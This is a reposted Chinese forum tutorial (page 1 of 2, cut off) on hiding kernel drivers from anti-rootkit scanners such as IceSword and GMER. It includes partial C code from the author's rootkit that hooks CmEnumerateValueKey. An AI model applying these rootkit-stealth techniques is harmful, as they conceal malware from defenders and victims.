通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 红客教程 >> 网络攻防 >> 文章正文
饶过现代Anti-Rookit工具的内核模块扫描(ZT)
责任编辑:酷酷の鱼   更新日期:2008-2-3
 

MJ0011
th_decoder@126 . com
2007 - 10 - 24

本文描述了一些方法,可以饶过目前主流的现代Anti - rootkit工具,包括但不限于 :
Icesword 最新版
Gmer最新版
Rootkit unhooker 最新版
DarkSpy 最新版
AVG Anti - rootkit最新版
等等

目前的anti - rootkit工具中,对于内核模块主要采用如下几种扫描方式 :

1. 恢复ZwQuerySystemInformation的hook , 然后利用功能号SystemModuleInformation进行枚举
例如Icesword

2. 遍历PsLoadModuleList , Driver / Device / Section Object链 , 或者TypeList链等 ( 总之是找驱动相关对象 ) 进行枚举
例如Rootkit Unhooker , Gmer等

3. 内核镜象暴力搜索 , 搜索MZ , PE等等标志结合进行判断内存里是否有PE镜象 , 如rootkit unhooker , rutkowska的modgreper等,通常只能显示为unknow image

4. 函数引用 , 各种routine\hook等 , 先HOOK一些常用函数,然后当驱动去调用这些函数时,记下其地址,检测时使用 , 或者是根据各种 routine ( dispatch routine , IDT , Image Notfiy等 ) 或各种hook ( inline hook , iat / eat hook等等 ) ,通常只能显示为unknow image或unknow xxx handler等

5. 使用系统ImageLoad Notfiy , 使用一个BOOT驱动,记录所有模块load的消息 , 检测时进行分析 如AVG Anti - rootkit等

先说饶过 1 , 2 , 3 , 5 的办法
很简单,使用诸如ZwSetSystemInformation的函数加载驱动,然后在DriverEntry中分配NonPagedPool的内存,然后将功能代码 / 函数copy到该内存中,然后进行必要的HOOK,最后返回STATUS_UNSUCCESSFULL .

这样驱动在PsLoadModuleList、各种对象链里就消失了,自然也就不存在于ZwQuerySystemInformation枚举的列表里
需要注意的是,copy到内存中的代码要尽量简单,基本不会生成需要重定位的代码了,但调用系统函数还是要另想办法

我的某个RK里是这样做的,例如A Function用来hook 系统函数B , 其中需要调用系统函数C,

那么分配一块内存,大小 = len ( A ) + sizeof ( ULONG ) * 2

在内存的前两个DWORD放OrgB , 以及C的地址,后面开始放函数代码

函数中使用call + 5 对自身的位置进行定位,找到内存开始的位置,然后得到OrgB和C

当然也可以在COPY入内存前自己用绝对地址定位函数 ~ 不过不如这个方法灵活

相关代码 :
//hook call CmEnumerateValueKey

void InstallCMRegHook ()
{
PVOID _CmEnumerateKeyValueLoc ;


_CmEnumerateKeyValueLoc = FindCmEnumerateValueKey ();
//找到 call CmEnumerateValueKey

HookCodeLen = ( ULONG ) NopFunc8 - ( ULONG ) NewCmEnumerateValueKey ;
//获得NewCmEnumerateValueKey长度

HookCode3 = ExAllocatePoolWithTag ( NonPagedPool ,
HookCodeLen + 4 ,
MEM_TAG_HOOKCODE3 );

//分配内存

*( ULONG *) HookCode3 = *( ULONG *) _CmEnumerateKeyValueLoc ;

//原函数地址放入内存

RtlCopyMemory (( PVOID ) HookCode3 + sizeof ( ULONG ) , ( PVOID ) NewCmEnumerateValueKey , HookCodeLen );

//copy函数代码

DO_SPINLOCK ();
*( ULONG *) _CmEnumerateValueKeyLoc = HookCode3 + sizeof ( ULONG );

//进行HOOK

EXIT_SPINLOCK ();
return ;

}

NTSTATUS NewCmEnumearateValueKey ( IN PVOID KeyControlBlock ,
IN ULONG Index ,
IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass ,
IN PVOID KeyValueInformation ,
IN ULONG KeyLength ,
IN PULONG ResultLength
)
{
//下面找到本函数开始地址,并获得保存在内存中的OrgCmEnumerateValueKey的地址

[1] [2] 下一页

  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    固顶文章 迎新年,献爱心。
    普通文章 瑞星公司02月03日发布 每日计算机病毒及木马播报
    推荐文章 推荐:黑客基础知识 常用命令和快捷键大全
    普通文章 SwiftView ActiveX控件和浏览器插件含栈溢出漏洞
    普通文章 Gnumeric XLS HLINK Opcode处理远程代码执行漏洞
    普通文章 文图分析:钓鱼网站拿什么欺骗善良玩家
    普通文章 [Tips]XSS Worm Defense
    普通文章 Icesword 驱动部分分析(ZT)
    普通文章 WordPress WassUp插件 spy.php脚本含SQL注入漏洞
    普通文章 饶过现代Anti-Rookit工具的内核模块扫描(ZT)
    热门文章
    普通文章中国十进制网络安全地址投入使用
    普通文章黄澄清:我国反垃圾邮件工作阶段性总结
    普通文章手机办色情网站 两男子被判刑
    普通文章2007年中国垃圾邮件产量降至全球第三
    普通文章LS70确有质量问题 官网至今无法访问
    普通文章一女生QQ空间照片被误删向腾讯索赔万元
    普通文章网络"仇恨服务"需求日盛 黑客月收入超5万
    普通文章欧盟监管部门称IP地址也应属于个人隐私
    普通文章The Bat! 1.39脱壳笔记
    普通文章计算机资料大全 3.0 Overlay 反脱壳去NAG
    精彩专题